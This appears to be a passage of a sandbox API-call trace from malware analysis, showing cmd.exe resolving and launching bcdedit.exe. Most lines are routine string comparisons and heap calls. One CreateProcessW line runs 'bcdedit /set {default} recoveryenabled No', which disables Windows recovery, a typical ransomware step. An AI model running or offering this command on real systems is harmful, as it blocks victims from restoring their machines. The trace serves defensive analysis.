	[0247.477] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0247.477] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0247.478] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0247.479] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0247.480] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0247.480] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0247.480] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4
	[0247.480] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7
	[0247.480] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16
	[0247.480] GetProcessHeap () returned 0x330000
	[0247.481] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x218) returned 0x34bda0
	[0247.481] GetProcessHeap () returned 0x330000
	[0247.481] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x68) returned 0x34bfc0
	[0247.481] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1
	[0247.481] GetProcessHeap () returned 0x330000
	[0247.481] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x420) returned 0x331320
	[0247.481] SetErrorMode (uMode=0x0) returned 0x0
	[0247.482] SetErrorMode (uMode=0x1) returned 0x0
	[0247.482] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x331330, lpFilePart=0x28f320 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f320*="Desktop") returned 0x25
	[0247.482] SetErrorMode (uMode=0x0) returned 0x1
	[0247.482] GetProcessHeap () returned 0x330000
	[0247.482] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331320, Size=0x6c) returned 0x331320
	[0247.482] GetProcessHeap () returned 0x330000
	[0247.482] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331320) returned 0x6c
	[0247.482] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.483] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0247.483] GetProcessHeap () returned 0x330000
	[0247.483] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x128) returned 0x34c030
	[0247.483] GetProcessHeap () returned 0x330000
	[0247.483] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x240) returned 0x3313a0
	[0247.896] GetProcessHeap () returned 0x330000
	[0247.896] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3313a0, Size=0x12a) returned 0x3313a0
	[0247.896] GetProcessHeap () returned 0x330000
	[0247.896] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3313a0) returned 0x12a
	[0247.896] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.896] GetProcessHeap () returned 0x330000
	[0247.896] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe8) returned 0x3314e0
	[0247.896] GetProcessHeap () returned 0x330000
	[0247.896] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3314e0, Size=0x7e) returned 0x3314e0
	[0247.896] GetProcessHeap () returned 0x330000
	[0247.896] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3314e0) returned 0x7e
	[0247.898] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.898] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0xffffffffffffffff
	[0247.899] GetLastError () returned 0x2
	[0247.899] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0xffffffffffffffff
	[0247.899] GetLastError () returned 0x2
	[0247.899] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.899] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0x34c160
	[0247.900] GetProcessHeap () returned 0x330000
	[0247.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x344680
	[0247.900] FindClose (in: hFindFile=0x34c160 | out: hFindFile=0x34c160) returned 1
	[0247.900] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0xffffffffffffffff
	[0247.900] GetLastError () returned 0x2
	[0247.900] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0x34c160
	[0247.900] GetProcessHeap () returned 0x330000
	[0247.900] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x344680, Size=0x8) returned 0x3489a0
	[0247.901] FindClose (in: hFindFile=0x34c160 | out: hFindFile=0x34c160) returned 1
	[0247.901] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0247.901] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0247.901] GetConsoleTitleW (in: lpConsoleTitle=0x28f5e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.901] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f398, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f358 | out: lpAttributeList=0x28f398, lpSize=0x28f358) returned 1
	[0247.901] UpdateProcThreadAttribute (in: lpAttributeList=0x28f398, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f348, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f398, lpPreviousValue=0x0) returned 1
	[0247.901] GetStartupInfoW (in: lpStartupInfo=0x28f4b0 | out: lpStartupInfo=0x28f4b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0247.901] GetProcessHeap () returned 0x330000
	[0247.902] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x344680
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0247.902] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0247.903] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0247.904] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0247.904] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0247.904] GetProcessHeap () returned 0x330000
	[0247.904] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x344680 | out: hHeap=0x330000) returned 1
	[0247.904] GetProcessHeap () returned 0x330000
	[0247.904] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x12) returned 0x34c160
	[0247.904] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1
	[0247.907] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default} recoveryenabled No ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28f3d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default} recoveryenabled No ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f380 | out: lpCommandLine="bcdedit  /set {default} recoveryenabled No ", lpProcessInformation=0x28f380*(hProcess=0x54, hThread=0x50, dwProcessId=0x308c, dwThreadId=0x3090)) returned 1
	[0248.305] CloseHandle (hObject=0x50) returned 1
	[0248.305] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0248.305] GetProcessHeap () returned 0x330000
	[0248.305] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34acd0 | out: hHeap=0x330000) returned 1
	[0248.305] GetEnvironmentStringsW () returned 0x34acd0*
	[0248.305] GetProcessHeap () returned 0x330000
	[0248.305] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xae8) returned 0x35ad60
	[0248.305] FreeEnvironmentStringsW (penv=0x34acd0) returned 1
	[0248.305] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0249.570] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x28f2c8 | out: lpExitCode=0x28f2c8*=0x0) returned 1
	[0249.571] CloseHandle (hObject=0x54) returned 1
	[0249.571] _vsnwprintf (in: _Buffer=0x28f538, _BufferCount=0x13, _Format="%08X", _ArgList=0x28f2d8 | out: _Buffer="00000000") returned 8
	[0249.571] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0249.571] GetProcessHeap () returned 0x330000
	[0249.571] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ad60 | out: hHeap=0x330000) returned 1
	[0249.571] GetEnvironmentStringsW () returned 0x35ad60*
	[0249.571] GetProcessHeap () returned 0x330000
	[0249.571] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x34c180
	[0249.571] FreeEnvironmentStringsW (penv=0x35ad60) returned 1
	[0249.571] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0249.571] GetProcessHeap () returned 0x330000
	[0249.571] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c180 | out: hHeap=0x330000) returned 1
	[0249.571] GetEnvironmentStringsW () returned 0x35ad60*
	[0249.572] GetProcessHeap () returned 0x330000
	[0249.572] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x34c180
	[0249.572] FreeEnvironmentStringsW (penv=0x35ad60) returned 1
	[0249.572] GetProcessHeap () returned 0x330000
	[0249.572] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c160 | out: hHeap=0x330000) returned 1
	[0249.572] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f398 | out: lpAttributeList=0x28f398) 
	[0249.572] GetConsoleTitleW (in: lpConsoleTitle=0x28fa90, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0249.573] GetProcessHeap () returned 0x330000
	[0249.573] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x218) returned 0x331930
	[0249.573] GetProcessHeap () returned 0x330000
	[0249.573] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x40) returned 0x331570
	[0249.573] GetProcessHeap () returned 0x330000
	[0249.573] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x420) returned 0x349620
	[0249.573] SetErrorMode (uMode=0x0) returned 0x0
	[0249.573] SetErrorMode (uMode=0x1) returned 0x0
	[0249.573] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x349630, lpFilePart=0x28f320 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f320*="Desktop") returned 0x25
	[0249.573] SetErrorMode (uMode=0x0) returned 0x1
	[0249.573] GetProcessHeap () returned 0x330000
	[0249.573] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x349620, Size=0x6c) returned 0x349620
	[0249.573] GetProcessHeap () returned 0x330000
	[0249.573] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x349620) returned 0x6c
	[0249.574] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0249.574] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0249.574] GetProcessHeap () returned 0x330000
	[0249.574] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x128) returned 0x345c00
	[0249.574] GetProcessHeap () returned 0x330000
	[0249.574] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x240) returned 0x331b50
	[0249.574] GetProcessHeap () returned 0x330000
	[0249.574] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331b50, Size=0x12a) returned 0x331b50
	[0249.574] GetProcessHeap () returned 0x330000
	[0249.574] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331b50) returned 0x12a
	[0249.574] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0249.574] GetProcessHeap () returned 0x330000
	[0249.574] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe8) returned 0x331c90
	[0249.574] GetProcessHeap () returned 0x330000
	[0249.574] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331c90, Size=0x7e) returned 0x331c90
	[0249.574] GetProcessHeap () returned 0x330000
	[0249.574] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331c90) returned 0x7e
	[0249.574] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0249.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0xffffffffffffffff
	[0249.575] GetLastError () returned 0x2
	[0249.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0xffffffffffffffff
	[0249.576] GetLastError () returned 0x2
	[0249.576] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0249.576] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0x3315c0
	[0249.576] FindClose (in: hFindFile=0x3315c0 | out: hFindFile=0x3315c0) returned 1
	[0249.577] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0xffffffffffffffff
	[0249.577] GetLastError () returned 0x2
	[0249.577] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x28f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f090) returned 0x3315c0
	[0249.577] FindClose (in: hFindFile=0x3315c0 | out: hFindFile=0x3315c0) returned 1
	[0249.577] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0249.577] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0249.577] GetConsoleTitleW (in: lpConsoleTitle=0x28f5e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0249.578] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f398, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f358 | out: lpAttributeList=0x28f398, lpSize=0x28f358) returned 1
	[0249.578] UpdateProcThreadAttribute (in: lpAttributeList=0x28f398, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f348, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f398, lpPreviousValue=0x0) returned 1
	[0249.578] GetStartupInfoW (in: lpStartupInfo=0x28f4b0 | out: lpStartupInfo=0x28f4b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0249.578] GetProcessHeap () returned 0x330000
	[0249.578] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x3446b0
	[0249.578] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0249.578] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0249.578] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0249.579] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0249.580] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0249.580] GetProcessHeap () returned 0x330000
	[0249.581] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3446b0 | out: hHeap=0x330000) returned 1
	[0249.581] GetProcessHeap () returned 0x330000
